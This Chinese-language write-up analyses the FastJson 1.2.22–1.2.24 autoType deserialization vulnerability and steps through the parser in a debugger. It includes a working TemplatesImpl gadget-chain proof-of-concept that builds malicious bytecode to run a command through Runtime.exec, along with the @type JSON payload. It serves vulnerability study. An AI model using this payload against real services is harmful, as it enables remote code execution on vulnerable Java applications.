0x01 前言

FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响版本:1.2.22 <= FastJson <= 1.2.24

0x02 相关知识

FastJson序列化

定义一个Java Bean。

  1. package com.kemoon;
  2. public class User {
  3. private String name;
  4. private int age;
  5. public String getName() {
  6. return name;
  7. }
  8. public void setName(String name) {
  9. this.name = name;
  10. }
  11. public int getAge() {
  12. return age;
  13. }
  14. public void setAge(int age) {
  15. this.age = age;
  16. }
  17. public String toString(){
  18. return "name:"+this.name+",age:"+age;
  19. }
  20. }

定义测试类,使用fastjson对Java Bean进行序列化操作。

  1. package com.kemoon;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.serializer.SerializerFeature;
  4. public class Fast {
  5. public static void main(String[] args) {
  6. User user = new User();
  7. user.setAge(18);
  8. user.setName("张三");
  9. String jsonString = JSON.toJSONString(user);
  10. System.out.println(jsonString);
  11. String jsonString1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
  12. System.out.println(jsonString1);
  13. }
  14. }

输出结果为:
image.png
在进行序列化时加上SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。

FastJson反序列化

反序列代码如下:

  1. package com.kemoon;
  2. import com.alibaba.fastjson.JSON;
  3. public class Fast {
  4. public static void main(String[] args) {
  5. User user = new User();
  6. user.setAge(18);
  7. user.setName("张三");
  8. String jsonString = JSON.toJSONString(user);
  9. System.out.println(jsonString);
  10. User user1 = JSON.parseObject(jsonString,User.class);
  11. System.out.println(user.toString());
  12. }
  13. }

结果如下:
image.png
然而存在一个问题,从上述代码中我们并没有看到显式的序列化及反序列化调用,并且我们创建的User类并没有实现Serializable接口,应该是不能进行序列化和反序列化的?实际这里的反序列化并不是指传统意义的反序列化readObject,而是fastjson中的将字符串解析为对象的过程,二者是很相似的。
如果将我们的用户类进行修改:

  1. package com.kemoon;
  2. import java.io.Serializable;
  3. public class User implements Serializable {
  4. private String name;
  5. private int age;
  6. public String getName() {
  7. System.out.println("getName方法调用!");
  8. return name;
  9. }
  10. public void setName(String name) {
  11. System.out.println("setName方法调用!");
  12. this.name = name;
  13. }
  14. public int getAge() {
  15. System.out.println("getAge方法调用!");
  16. return age;
  17. }
  18. public void setAge(int age) {
  19. System.out.println("setAge方法调用!");
  20. this.age = age;
  21. }
  22. public String toString(){
  23. return "name:"+this.name+",age:"+age;
  24. }
  25. }

image.png
可以发现如果parseObject的参数个数不同,反序列化时调用到的方法也不同,如果给parseObject指定了反序列化的类,那么就不会调用反序列化类的getter方法。我们有理由推测在反序列化时fastjson会取得字段的值通过setter方法给反序列生成的类的属性赋值。

0x03 漏洞分析

TemplatesImpl链反序列化

测试代码如下:

  1. package com.kemoon;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. import com.alibaba.fastjson.parser.ParserConfig;
  5. import javassist.ClassPool;
  6. import javassist.CtClass;
  7. import java.util.Base64;
  8. public class Fast {
  9. public static void main(String[] args) throws Exception {
  10. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  11. ClassPool classPool=ClassPool.getDefault();//返回默认的类池
  12. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  13. CtClass payload=classPool.makeClass("Evil");//创建一个新的public类
  14. payload.setSuperclass(classPool.get(AbstractTranslet));
  15. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
  16. byte[] evilCode = payload.toBytecode();
  17. try {
  18. String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
  19. System.out.println(evilCode_base64);
  20. final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  21. String text1 = "{"+
  22. "\"@type\":\"" + NASTY_CLASS +"\","+
  23. "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
  24. "'_name':'a.b',"+
  25. "'_tfactory':{ },"+
  26. "'_outputProperties':{ }"+
  27. "}";
  28. System.out.println(text1);
  29. ParserConfig config = new ParserConfig();
  30. Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
  31. } catch (Exception e) {
  32. e.printStackTrace();
  33. }
  34. }
  35. }

这里使用javaassit生成恶意字节码,传入类型为TemplatesImpl,通过CC链的分析对于该类很熟悉了。代码也很简单。@type字段用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties_bytecodesprivate修饰,必须加入Feature.SupportNonPublicFieldparseObject中才能触发,所以TemplatesImpl链的利用条件还是比较苛刻的。
对于整个过程,个人觉得需要关注以下几个方面:

  • 为什么恶意字节码需要base64编码?
  • 从@type字段加载恶意类的大概流程
  • 什么时候将json中的类属性数据加载到实例?
  • 什么时候对恶意的方法_getOutputProperties_进行调用的?

追进com.alibaba.fastjson.JSON.class#parseObject,其中关键方法parser.parseObject,跟进
image.png
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject,跟进方法derializer.deserialze
image.png
com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze,最终走到一个三目运算处,此时条件为false,会执行parser.parse方法。
image.png
com.alibaba.fastjson.parser.DefaultJSONParser#parse,因为刚开始lexer.token12,代表读取到的是{符号,则会调用parseObject去处理,传入参数为Map类型的object
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
image.png
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject,lexer读取第二个字符,是",并且使用scanSymbol方法获取到key@type
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
image.png
中间读取了一次:的操作,接着判断key是否等于JSON.DEFAULT_TYPE_KEY,而这个值就等于@type,条件为真,读取我们传入的参数com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并调用类加载器进行加载。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
image.png
接着走到关键方法,deserializer.deserialze
image.png
两次重载后,com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze,在while循环中,会将sortedFieldDeserializers中的属性给遍历一遍,没看出具体作用,该变量中有三个元素,分别是outputPropertiesstylesheetDOMuRIResolver
image.png
fieldDesernull时,扫描key值,值为_bytecodes
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
image.png
接着判断object是否为null,也就是存不存在TemplatesImpl对象,如果不存在就新建实例。
image.png
接着进入关键方法this.parseField,跟进。
image.png
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField,这里调用smartMatchkey进行处理,将_替换为空白。
image.png
接着调用parseField方法,
image.png
com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField,接着调用this.fieldValueDeserilizer.deserialze方法获取_bytecodes的值。
image.png
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
image.png
接着调用parser.parseArray方法,跟进。
image.png
调用this.lexer.nextToken方法获取下一个词法单元的token,接着调用deserialze方法获取到_bytecodesvalue
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
image.png
image.png
获取到value后,调用setValue对TemplatesImpl的_bytecodes属性进行赋值,跟进setValue方法。
image.png
此处methodnull,所以直接反射将获取到的value赋值给object
image.png
接着在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialzewhile循环中获取到_name,接下来的流程跟_bytecodes相似。
image.png
接着时_tfactory参数,不同的是在parseField时,获取value是在if中获取的。
image.png
跟进该方法,会创建一个TransformerFactoryImpl对象,接下来的就跟其它参数一致。
image.png
接着是_outputProperties参数。
image.png
跟前几个参数不同的是,在setValuemethod不为null,而是getOutputProperties,这就比较奇怪了。
image.png
接着会invoke该方法,接下来就是TemplatesImpl#newTransformer触发恶意代码了。
image.png


对于分析开始前提出的问题,有些解决了,有些没解决,甚至多出了一些问题,整理如下:

  • 为什么恶意字节码需要base64编码?

在获取_bytecodesvalue时,调用如下函数。
image.png
接着调用lexer.bytesValue,跟进。
image.png
该方法会将_bytecodes的值base64解码,那为什么其它参数没有进行base64解码呢?
image.png
比较两个参数的反序列化方法,猜测可能是byte [][]会base64解码。
_bytecodecom.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
_namecom.alibaba.fastjson.serializer.StringCodec#deserialze
image.png
如下demo:

  1. package com.kemoon;
  2. import java.io.Serializable;
  3. import java.util.Arrays;
  4. public class User implements Serializable {
  5. private String name;
  6. private int age;
  7. private byte[][] bytecode;
  8. public String getName() {
  9. System.out.println("getName方法调用!");
  10. return name;
  11. }
  12. public void setName(String name) {
  13. System.out.println("setName方法调用:"+name);
  14. this.name = name;
  15. }
  16. public int getAge() {
  17. System.out.println("getAge方法调用!");
  18. return age;
  19. }
  20. public void setAge(int age) {
  21. System.out.println("setAge方法调用!"+age);
  22. this.age = age;
  23. }
  24. public String toString(){
  25. return "name:"+this.name+",age:"+age;
  26. }
  27. public byte[][] getBytecode() {
  28. System.out.println("getBytecode方法调用:"+ Arrays.deepToString(bytecode));
  29. return bytecode;
  30. }
  31. public void setBytecode(byte[][] bytecode) {
  32. System.out.println("setBytecode方法调用:"+ Arrays.deepToString(bytecode));
  33. this.bytecode = bytecode;
  34. }
  35. }
  1. package com.kemoon;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.JSONObject;
  4. public class Demo {
  5. public static void main(String[] args) {
  6. String data = "{\"@type\":\"com.kemoon.User\",\"age\":18,\"name\":\"张三\",\"bytecode\":[\"dGVzdA==\"]}";
  7. System.out.println("-------------反序列化--------------");
  8. JSONObject jsonObject= JSON.parseObject(data);
  9. }
  10. }

image.png
image.png
经过测试byte[]byte[][]都会触发base64解码。

  • 从@type字段加载恶意类的大概流程

image.png

  • 什么时候将json中的类属性数据加载到实例?

加载属性的操作都是在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze方法中完成的。
image.png

  • 什么时候对恶意的方法_getOutputProperties_进行调用的?

见上文调试

  • [+]为什么其它参数的_method__null__outputProperties__method_不为_null_

这部分是this.config.getDeserializer方法中操作的。
image.png
其中会对class的所有方法进行判定,如果满足条件则加入到List<FieldInfo>中,条件包括方法长度大于等于4,不是静态方法,第4个字符为大写,开头字符为get等等,这里就包括getOutputProperties,而_tfactory_name_bytecodes则不存在满足这些条件的方法。
image.png

0x04 总结

暂时完成了对TemplatesImpl链对fastjson的利用分析,只分析了个大概,其中还有很多细节没有分析清楚,不过就这样了,累了。JdbcRowSetImpl链的分析之后再说吧。